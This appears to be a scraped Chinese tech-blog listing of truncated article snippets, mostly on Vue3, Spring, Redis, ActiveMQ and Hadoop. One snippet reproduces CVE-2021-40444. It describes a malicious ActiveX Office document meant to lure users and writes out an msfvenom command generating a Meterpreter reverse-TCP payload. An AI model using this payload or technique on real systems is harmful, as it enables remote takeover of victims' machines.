- 使用Redis缓存实现短信登录逻辑,手机验证码缓存,用户信息缓存
今天有个Bug
缓存redisspring登录
引入依赖org.springframework.bootspring-boot-starter-data-redis加配置spring:redis:host:127.0.0.1#redis地址port:6379#端口password:123456#密码,无密码可以注释调database:10#库lettuce:pool:max-active:10#最大连接数max-idle:10#最多空闲min-
- FastAPI数据库连接池配置与监控
qcidyu
文章归档fastapi
title:FastAPI数据库连接池配置与监控date:2025/04/2800:13:02updated:2025/04/2800:13:02author:cmdragonexcerpt:FastAPI数据库连接池通过预先创建和复用连接,显著降低连接创建开销。配置参数包括最小连接数(minsize)、最大连接数(maxsize)和空闲连接存活时间(max_inactive_connection
- 第十一节:性能优化高频题-响应式数据深度监听问题
涵信
性能优化javascriptvue.js
解决方案:watch的deep:true选项或watchEffect自动追踪依赖Vue响应式数据深度监听与性能优化指南一、深度监听的核心方案watch的deep:true模式•Vue2实现:需显式声明深度监听配置watch:{obj:{handler(newVal){/*处理逻辑*/},deep:true//开启深度监听}}•Vue3优化:reactive对象默认开启深度监听//reactive对
- VUE3:封装一个评论回复组件
读心悦
VUE3组件vue.jsjavascriptecmascript
之前用React封装的评论回复组件,里面有三个主要部分:CommentComponent作为主组件,CommentItem处理单个评论项,CommentInput负责输入框。现在需要将这些转换为Vue3的组件。Vue3和React在状态管理上有所不同,Vue3使用ref和reactive来管理响应式数据,而React用useState。我需要将React的useState转换为Vue3的ref。比
- 基于el-input包装的金额输入框,展示时千分位分割,输入时是数字。
代码少女Zik -
vue.jsjavascriptelementui
import{computed,defineComponent,reactive,toRefs,watch}from'vue';exportdefaultdefineComponent({name:'FmisMoneyInput',props:{modelValue:{type:[String,Number],default:'',},effect:{type:String,default:'da
- 封装写块 blocktool _c#
山水CAD筑梦人
CADC#二次开发数据库
publicstaticclassblocktool{publicstaticObjectIdaddCurvesToBlock(thisListcurves,stringblockName,Point3dbasePoint){//获取当前文档和数据库Documentdoc=Application.DocumentManager.MdiActiveDocument;Databasedb=doc.Da
- 10 种最常见的 Active Directory (AD) 攻击
前端
ActiveDirectory(AD)作为大多数组织的信息管理中枢,在身份验证与访问控制中发挥着至关重要的作用。这也使其成为网络犯罪分子觊觎的目标,他们不断寻找漏洞以窃取关键数据。为了有效防御AD环境遭受攻击,了解常见的攻击手段以及制定全面的防护策略至关重要。本文将带你了解十大常见AD攻击类型,并介绍如何快速检测和防护。一、基于密码的攻击大多数AD系统依赖密码作为第一道安全防线。然而,弱密码或易猜
- Maximum recursive updates exceeded in component <SidebarItem>
bluejad
vue.js前端javascript
问题:[Vuewarn]:Maximumrecursiveupdatesexceededincomponent.Thismeansyouhaveareactiveeffectthatismutatingitsowndependenciesandthusrecursivelytriggeringitself.Possiblesourcesincludecomponenttemplate,render
- 基于pygame的一个小游戏
小李飛叨
游戏列表pythonjavapygame
classGameStats():"""跟踪游戏的统计信息"""#def__int__(self,ai_settings):def__init__(self,ai_settings):"""初始化统计信息"""self.ai_settings=ai_settingsself.reset_stats()#让游戏处于非活动状态self.game_active=False#self.score=0#在任
- idea Maven插件 项目多环境打包配置
老师好!我是羊尼飞
配置修改项目mavenintellij-ideamybatis
1.准备配置文件这里local为本地开发环境可改为dev名称自定义test为测试环境prod为生产环境根据项目业务自行定义application.yml配置:spring:profiles:#对应pom中的配置active:@spring.profiles.active@2.配置pom.xml根据自身业务需求配置pom文件目前我的项目业务添加如下:UTF-8UTF-81.8truelocalloc
- java active directory 单点登录_教程:Azure Active Directory 单一登录 (SSO) 与 Hightail 集成...
外币兑换
javaactivedirectory单点登录
您现在访问的是微软AZURE全球版技术文档网站,若需要访问由世纪互联运营的MICROSOFTAZURE中国区技术文档网站,请访问https://docs.azure.cn.教程:AzureActiveDirectory单一登录(SSO)与Hightail集成Tutorial:AzureActiveDirectorysinglesign-on(SSO)integrationwithHightail1
- vue3并发请求Promise.all和Promise.allSettled
BillKu
前端javascriptvue.js
在Vue3中,使用Promise.all处理并发请求可以高效地并行获取数据。以下是实现步骤和示例:步骤说明生命周期钩子:在onMounted中触发请求,确保组件挂载后执行。响应式状态:使用ref或reactive管理数据、加载状态和错误信息。并发请求:通过Promise.all并行发送请求,优化加载时间。错误处理:统一处理错误,或使用Promise.allSettled单独处理每个请求的结果。请求
- 多语言笔记系列:共享数据
bicijinlian
PolyglotNotebooks教程笔记
在笔记中共享数据(变量)使用.NET交互式内核,可以在单个笔记本中以多种语言编写代码。为了利用每种语言的不同优势,您会发现在它们之间共享数据很有用。即一种语言的变量,可以在其它语言中使用。默认情况下,.NETInteractive支持多种不同的语言,其中大多数语言都允许使用magic命令#!set和#!shared进行共享。变量共享的语言支持情况语言变量共享C#支持F#支持PowerShell支持
- 多语言笔记系列:使用 ASP.NET WebApi
bicijinlian
PolyglotNotebooks教程笔记asp.net后端
使用ASP.NETCroeWebApi添加Nuget包//可以先添加包源#i"https://api.nuget.org/v3/index.json"//添加Nuget包#r"nuget:microsoft.dotNet.interactive.aspnetcore,*-*"使用端点,放出API#!aspnet//引入之后就会暴露aspnetcore的东西,比如AppEndpointsWebApp
- Spring Boot整合JMS
iuyou️
SpringBoot队列activemqspringbootspringjms
SpringBoot整合JMS首先在Linux安装好ActiveMQ,再启动ActiveMQ。创建SpringBoot项目添加依赖org.springframework.bootspring-boot-starter-activemqorg.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-
- Rust 新建一个web 服务器
s912360101
rust
useaxum::{routing::post,Router,Json,http::StatusCode,response::IntoResponse,};useserde::Deserialize;usestd::net::SocketAddr;#[derive(Debug,Deserialize)]structInputData{mac:String,ip:String,active_time
- react和vue的区别之一
Deepsleep.
vue.jsreact.jsjavascript
前言小编在学react的时候,发现react在使用ant-design组件的from表单,有点惊奇,跟vue差别确实有点大。1-React与Vue表单处理对比指南核心差异概述特性VueReact(AntDesignForm)数据定义必须显式定义reactive/ref通过name隐式定义数据管理集中式响应式对象分散式状态或表单库托管双向绑定v-model直接绑定受控组件或表单库自动处理代码风格模板
- element的标签页(tabs)组件样式自定义
weixin_42451346
element-uivue.jsjavascriptelementui
在使用element的tabs组件时发现官方文档并未提供自定义style的Attributes,打开控制台进行调试。经过测试,修改以下代码能自定义标签页主题.el-tabs__item.is-active{color:#bfc0c2;//当前标签页颜色}.el-tabs__active-bar{border-bottom:2pxsolid#4095e5//当前标签页的下边框}.el-tabs__i
- Spring 与 ActiveMQ 的深度集成实践(二)
计算机毕设定制辅导-无忧学长
#ActiveMQjava-activemqspringactivemq
三、Spring与ActiveMQ的集成步骤3.1配置ActiveMQ连接在SpringBoot项目中,我们可以在application.properties或application.yml配置文件中设置ActiveMQBroker的连接信息。以application.properties为例,添加以下配置:#ActiveMQBroker的URL,tcp协议,本地地址,默认端口61616sprin
- elementUi一tabs标签页
爱吃猫的鱼-
vue.js前端javascript
elementUi一tabs标签页点击el-tab-pane时,实现路由切换用户管理配置管理角色管理定时任务补偿exportdefault{data(){return{activeName:'second'};},methods:{handleClick(tab,event){console.log(tab,event);//这样才能获取每个el-tab-pane的name属性console.lo
- 前端笔记-Vue3(中)
MrsBaek
前端笔记
学习参考视频:尚硅谷Vue3入门到实战,最新版vue3+TypeScript前端开发教程_哔哩哔哩_bilibilivue3学习目标:VUE31、Vue3架构与设计理念2、组合式API(CompositionAPI)3、常用API:ref、reactive、watch、computed4、Vue3的生命周期5、组件间通信(props、emit、defineModel)6、了解插槽Computed计
- ActiveMQ 快速上手:安装配置与基础通信实践(二)
计算机毕设定制辅导-无忧学长
#ActiveMQjava-activemqactivemqjava
五、ActiveMQ基础通信实践5.1通信模型介绍ActiveMQ支持两种主要的通信模型:点对点(Queue)和发布订阅(Topic),它们在消息的传递和消费方式上有着显著的区别。点对点(Queue)模型:在点对点模型中,消息被发送到队列(Queue)中,每个消息只能被一个消费者接收和处理。这就好比一个快递包裹,只能被一个收件人领取。当有多个消费者同时监听一个队列时,队列会按照一定的规则(如先进先
- CVE-2021-40444 复现
Adsatrtgo
红蓝对抗-攻防安全ubuntu
利用过程:在Office文档中添加恶意ActiveX控件,以此来诱导目标用户打开恶意文档复现环境:Ubuntu+WIN10利用工具:Github:https://github.com/lockedbyte/CVE-2021-404440x01生成恶意dll:msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=xx.xx.xx.xxLPORT=444
- Vue3-Watch踩坑-watch监听无效
qq_40441489
vue3前端vue.js
ref与reactiveref函数和reactive函数都是用来定义响应式数据但是reactive更适合定义引用类型、ref适合定义基本数据类型(可接收基本数据类型和对象)reactive1、深层次响应式,本质是将传入的数据包装成一个Proxy对象2、参数必须是对象或者数组,如果要让对象的某个元素实现响应式时,需要使用toRefs,这样每个都需要采用value方式访问ref1、函数参数可以是基本数
- 前端笔记-Vue3(下)
MrsBaek
前端笔记
学习参考视频:尚硅谷Vue3入门到实战,最新版vue3+TypeScript前端开发教程_哔哩哔哩_bilibilivue3学习目标:VUE31、Vue3架构与设计理念2、组合式API(CompositionAPI)3、常用API:ref、reactive、watch、computed4、Vue3的生命周期5、组件间通信(props、emit、defineModel)6、了解插槽Vue生命周期钩子
- 第一节:核心概念高频题-Vue3响应式原理与Vue2的区别
涵信
vue.jsjavascriptecmascript
Vue2:基于Object.defineProperty监听对象属性,需手动处理数组方法重写Vue3:采用Proxy代理实现全量响应式,支持动态新增属性和深层嵌套对象监听一、实现机制对比1.Vue2:基于Object.defineProperty•原理:通过递归遍历对象属性,为每个属性添加getter/setter拦截。•关键代码示例:functiondefineReactive(obj,key)
- 模仿美图秀秀对图片进行各种扩图,超出最大宽时进行等比缩小
vue3typescript
美图秀秀海报ai扩图:https://account.meitu.com/#!/login/smsconstenlargeSceneMatchRef=ref(null)importEnlargeSceneMatchfrom'@/views/index/EnlargeSceneMatch.vue'//一键扩景展示区EnlargeSceneMatch.vueimport{ref,reactive,on
- fabric.js自定义笔刷自由绘制(考虑画布缩放和平移)
vue3typescript
import{Plus,Close,ArrowLeftBold}from'@element-plus/icons-vue'import{onMounted,ref,reactive,onUnmounted,nextTick,unref,computed}from'vue'import{calculateScaledDimensions}from'@/hooks/web/usePictureSize
- WPF 加载PDF文件
creay_king
WPFPDF文件
需要打开PDF文件时,我们第一印象就是使用AdobeReader。在开发中,经常会遇到需要展示PDF文件的需求。我们会借助于AdobeReader的Active控件来实现。不过这需要客户的机器上安装有AdobeReader,并且使用AdobeReader的Active控件会在顶部有一个隐藏不了的工具栏。这样显然不合理。在Github上看到一个非常好的WPF中承载PDF文件的类库。https://g
- 【HDFS入门】Hadoop 2.0+ HDFS核心架构深度解析:高可用设计揭秘
IT成长日记
大数据成长笔记hadoophdfs架构高可用
目录1HDFS核心架构概述2高可用设计背景3HDFS核心组件3.1Active与StandbyNameNode3.2JournalNode3.3ZKFailoverController(ZKFC)3.4DataNode4高可用设计的工作流程写入阶段:元数据同步:健康监测:故障转移:5高可用设计的优势6总结1HDFS核心架构概述Hadoop2.0及以后版本的HDFS(HadoopDistribute
- mongodb3.03开启认证
21jhf
mongodb
下载了最新mongodb3.03版本,当使用--auth 参数命令行开启mongodb用户认证时遇到很多问题,现总结如下:
(百度上搜到的基本都是老版本的,看到db.addUser的就是,请忽略)
Windows下我做了一个bat文件,用来启动mongodb,命令行如下:
mongod --dbpath db\data --port 27017 --directoryperdb --logp
- 【Spark103】Task not serializable
bit1129
Serializable
Task not serializable是Spark开发过程最令人头疼的问题之一,这里记录下出现这个问题的两个实例,一个是自己遇到的,另一个是stackoverflow上看到。等有时间了再仔细探究出现Task not serialiazable的各种原因以及出现问题后如何快速定位问题的所在,至少目前阶段碰到此类问题,没有什么章法
1.
package spark.exampl
- 你所熟知的 LRU(最近最少使用)
dalan_123
java
关于LRU这个名词在很多地方或听说,或使用,接下来看下lru缓存回收的实现
1、大体的想法
a、查询出最近最晚使用的项
b、给最近的使用的项做标记
通过使用链表就可以完成这两个操作,关于最近最少使用的项只需要返回链表的尾部;标记最近使用的项,只需要将该项移除并放置到头部,那么难点就出现 你如何能够快速在链表定位对应的该项?
这时候多
- Javascript 跨域
周凡杨
JavaScriptjsonp跨域cross-domain
- linux下安装apache服务器
g21121
apache
安装apache
下载windows版本apache,下载地址:http://httpd.apache.org/download.cgi
1.windows下安装apache
Windows下安装apache比较简单,注意选择路径和端口即可,这里就不再赘述了。 2.linux下安装apache:
下载之后上传到linux的相关目录,这里指定为/home/apach
- FineReport的JS编辑框和URL地址栏语法简介
老A不折腾
finereportweb报表报表软件语法总结
JS编辑框:
1.FineReport的js。
作为一款BS产品,browser端的JavaScript是必不可少的。
FineReport中的js是已经调用了finereport.js的。
大家知道,预览报表时,报表servlet会将cpt模板转为html,在这个html的head头部中会引入FineReport的js,这个finereport.js中包含了许多内置的fun
- 根据STATUS信息对MySQL进行优化
墙头上一根草
status
mysql 查看当前正在执行的操作,即正在执行的sql语句的方法为:
show processlist 命令
mysql> show global status;可以列出MySQL服务器运行各种状态值,我个人较喜欢的用法是show status like '查询值%';一、慢查询mysql> show variab
- 我的spring学习笔记7-Spring的Bean配置文件给Bean定义别名
aijuans
Spring 3
本文介绍如何给Spring的Bean配置文件的Bean定义别名?
原始的
<bean id="business" class="onlyfun.caterpillar.device.Business">
<property name="writer">
<ref b
- 高性能mysql 之 性能剖析
annan211
性能mysqlmysql 性能剖析剖析
1 定义性能优化
mysql服务器性能,此处定义为 响应时间。
在解释性能优化之前,先来消除一个误解,很多人认为,性能优化就是降低cpu的利用率或者减少对资源的使用。
这是一个陷阱。
资源时用来消耗并用来工作的,所以有时候消耗更多的资源能够加快查询速度,保持cpu忙绿,这是必要的。很多时候发现
编译进了新版本的InnoDB之后,cpu利用率上升的很厉害,这并不
- 主外键和索引唯一性约束
百合不是茶
索引唯一性约束主外键约束联机删除
目标;第一步;创建两张表 用户表和文章表
第二步;发表文章
1,建表;
---用户表 BlogUsers
--userID唯一的
--userName
--pwd
--sex
create
- 线程的调度
bijian1013
java多线程thread线程的调度java多线程
1. Java提供一个线程调度程序来监控程序中启动后进入可运行状态的所有线程。线程调度程序按照线程的优先级决定应调度哪些线程来执行。
2. 多数线程的调度是抢占式的(即我想中断程序运行就中断,不需要和将被中断的程序协商)
a)
- 查看日志常用命令
bijian1013
linux命令unix
一.日志查找方法,可以用通配符查某台主机上的所有服务器grep "关键字" /wls/applogs/custom-*/error.log
二.查看日志常用命令1.grep '关键字' error.log:在error.log中搜索'关键字'2.grep -C10 '关键字' error.log:显示关键字前后10行记录3.grep '关键字' error.l
- 【持久化框架MyBatis3一】MyBatis版HelloWorld
bit1129
helloworld
MyBatis这个系列的文章,主要参考《Java Persistence with MyBatis 3》。
样例数据
本文以MySQL数据库为例,建立一个STUDENTS表,插入两条数据,然后进行单表的增删改查
CREATE TABLE STUDENTS
(
stud_id int(11) NOT NULL AUTO_INCREMENT,
- 【Hadoop十五】Hadoop Counter
bit1129
hadoop
1. 只有Map任务的Map Reduce Job
File System Counters
FILE: Number of bytes read=3629530
FILE: Number of bytes written=98312
FILE: Number of read operations=0
FILE: Number of lar
- 解决Tomcat数据连接池无法释放
ronin47
tomcat 连接池 优化
近段时间,公司的检测中心报表系统(SMC)的开发人员时不时找到我,说用户老是出现无法登录的情况。前些日子因为手头上 有Jboss集群的测试工作,发现用户不能登录时,都是在Tomcat中将这个项目Reload一下就好了,不过只是治标而已,因为大概几个小时之后又会 再次出现无法登录的情况。
今天上午,开发人员小毛又找到我,要我协助将这个问题根治一下,拖太久用户难保不投诉。
简单分析了一
- java-75-二叉树两结点的最低共同父结点
bylijinnan
java
import java.util.LinkedList;
import java.util.List;
import ljn.help.*;
public class BTreeLowestParentOfTwoNodes {
public static void main(String[] args) {
/*
* node data is stored in
- 行业垂直搜索引擎网页抓取项目
carlwu
LuceneNutchHeritrixSolr
公司有一个搜索引擎项目,希望各路高人有空来帮忙指导,谢谢!
这是详细需求:
(1) 通过提供的网站地址(大概100-200个网站),网页抓取程序能不断抓取网页和其它类型的文件(如Excel、PDF、Word、ppt及zip类型),并且程序能够根据事先提供的规则,过滤掉不相干的下载内容。
(2) 程序能够搜索这些抓取的内容,并能对这些抓取文件按照油田名进行分类,然后放到服务器不同的目录中。
- [通讯与服务]在总带宽资源没有大幅增加之前,不适宜大幅度降低资费
comsci
资源
降低通讯服务资费,就意味着有更多的用户进入,就意味着通讯服务提供商要接待和服务更多的用户,在总体运维成本没有由于技术升级而大幅下降的情况下,这种降低资费的行为将导致每个用户的平均带宽不断下降,而享受到的服务质量也在下降,这对用户和服务商都是不利的。。。。。。。。
&nbs
- Java时区转换及时间格式
Cwind
java
本文介绍Java API 中 Date, Calendar, TimeZone和DateFormat的使用,以及不同时区时间相互转化的方法和原理。
问题描述:
向处于不同时区的服务器发请求时需要考虑时区转换的问题。譬如,服务器位于东八区(北京时间,GMT+8:00),而身处东四区的用户想要查询当天的销售记录。则需把东四区的“今天”这个时间范围转换为服务器所在时区的时间范围。
- readonly,只读,不可用
dashuaifu
jsjspdisablereadOnlyreadOnly
readOnly 和 readonly 不同,在做js开发时一定要注意函数大小写和jsp黄线的警告!!!我就经历过这么一件事:
使用readOnly在某些浏览器或同一浏览器不同版本有的可以实现“只读”功能,有的就不行,而且函数readOnly有黄线警告!!!就这样被折磨了不短时间!!!(期间使用过disable函数,但是发现disable函数之后后台接收不到前台的的数据!!!)
- LABjs、RequireJS、SeaJS 介绍
dcj3sjt126com
jsWeb
LABjs 的核心是 LAB(Loading and Blocking):Loading 指异步并行加载,Blocking 是指同步等待执行。LABjs 通过优雅的语法(script 和 wait)实现了这两大特性,核心价值是性能优化。LABjs 是一个文件加载器。RequireJS 和 SeaJS 则是模块加载器,倡导的是一种模块化开发理念,核心价值是让 JavaScript 的模块化开发变得更
- [应用结构]入口脚本
dcj3sjt126com
PHPyii2
入口脚本
入口脚本是应用启动流程中的第一环,一个应用(不管是网页应用还是控制台应用)只有一个入口脚本。终端用户的请求通过入口脚本实例化应用并将将请求转发到应用。
Web 应用的入口脚本必须放在终端用户能够访问的目录下,通常命名为 index.php,也可以使用 Web 服务器能定位到的其他名称。
控制台应用的入口脚本一般在应用根目录下命名为 yii(后缀为.php),该文
- haoop shell命令
eksliang
hadoophadoop shell
cat
chgrp
chmod
chown
copyFromLocal
copyToLocal
cp
du
dus
expunge
get
getmerge
ls
lsr
mkdir
movefromLocal
mv
put
rm
rmr
setrep
stat
tail
test
text
- MultiStateView不同的状态下显示不同的界面
gundumw100
android
只要将指定的view放在该控件里面,可以该view在不同的状态下显示不同的界面,这对ListView很有用,比如加载界面,空白界面,错误界面。而且这些见面由你指定布局,非常灵活。
PS:ListView虽然可以设置一个EmptyView,但使用起来不方便,不灵活,有点累赘。
<com.kennyc.view.MultiStateView xmlns:android=&qu
- jQuery实现页面内锚点平滑跳转
ini
JavaScripthtmljqueryhtml5css
平时我们做导航滚动到内容都是通过锚点来做,刷的一下就直接跳到内容了,没有一丝的滚动效果,而且 url 链接最后会有“小尾巴”,就像#keleyi,今天我就介绍一款 jquery 做的滚动的特效,既可以设置滚动速度,又可以在 url 链接上没有“小尾巴”。
效果体验:http://keleyi.com/keleyi/phtml/jqtexiao/37.htmHTML文件代码:
&
- kafka offset迁移
kane_xie
kafka
在早前的kafka版本中(0.8.0),offset是被存储在zookeeper中的。
到当前版本(0.8.2)为止,kafka同时支持offset存储在zookeeper和offset manager(broker)中。
从官方的说明来看,未来offset的zookeeper存储将会被弃用。因此现有的基于kafka的项目如果今后计划保持更新的话,可以考虑在合适
- android > 搭建 cordova 环境
mft8899
android
1 , 安装 node.js
http://nodejs.org
node -v 查看版本
2, 安装 npm
可以先从 https://github.com/isaacs/npm/tags 下载 源码 解压到
- java封装的比较器,比较是否全相同,获取不同字段名字
qifeifei
非常实用的java比较器,贴上代码:
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import net.sf.json.JSONArray;
import net.sf.json.JSONObject;
import net.sf.json.JsonConfig;
i
- 记录一些函数用法
.Aky.
位运算PHP数据库函数IP
高手们照旧忽略。
想弄个全天朝IP段数据库,找了个今天最新更新的国内所有运营商IP段,copy到文件,用文件函数,字符串函数把玩下。分割出startIp和endIp这样格式写入.txt文件,直接用phpmyadmin导入.csv文件的形式导入。(生命在于折腾,也许你们觉得我傻X,直接下载人家弄好的导入不就可以,做自己的菜鸟,让别人去说吧)
当然用到了ip2long()函数把字符串转为整型数
- sublime text 3 rust
wudixiaotie
Sublime Text
1.sublime text 3 => install package => Rust
2.cd ~/.config/sublime-text-3/Packages
3.mkdir rust
4.git clone https://github.com/sp0/rust-style
5.cd rust-style
6.cargo build --release
7.ctrl